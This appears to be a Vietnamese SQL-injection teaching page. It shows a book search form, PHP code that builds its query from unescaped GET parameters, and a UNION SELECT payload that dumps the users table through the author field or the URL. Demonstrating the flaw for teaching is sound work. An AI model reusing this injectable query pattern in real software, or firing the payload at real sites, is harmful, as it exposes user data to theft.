Hình Thức Tìm Kiếm - Dễ Tấn Công



ID Tên Sách Tác Giả
1DoraemonFujiko F. Fujio
2Conan DetectiveAoyama Gosho
3Life Of PiYann Martel
4Harry PotterJ. K. Rowling
5Peter PanJ. M. Barrie
6Toi Thay Hoa Vang Tren Co XanhNguyen Nhat Anh
7Mat BiecNguyen Nhat Anh
82 Ngay 1 DemLe Duong Bao Lam

Truy vấn vừa thực hiện:

SELECT * FROM books;

Mã PHP có dạng:

if (isset($_GET['all']) && $_GET['all'] == 1)
{
    $query = "SELECT * FROM books;";
}
else if ($_GET['title'] || $_GET['author'])
{
    $query = sprintf("SELECT * FROM books WHERE title = '%s' OR author = '%s';",
                             $_GET['title'],
                             $_GET['author']);
}

if ($query != null)
{
    $result = mysqli_query($connection, $query);

    while (($row = mysqli_fetch_row($result)) != null)
    {
        printf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>", $row[0], $row[1], $row[2]);
    }
}
            

Cách thức khai thác lỗ hổng:

Hãy nhập: ' UNION SELECT * FROM users WHERE '1'='1 vào ô nhập tên tác giả để lấy (hiển thị) TOÀN BỘ dữ liệu người dùng (SQL table: user).
            
Kết quả tương tự cũng sẽ xảy ra khi truy cập vào đường dẫn: books1.php?author='+UNION+SELECT+*+FROM+users+WHERE '1'='1.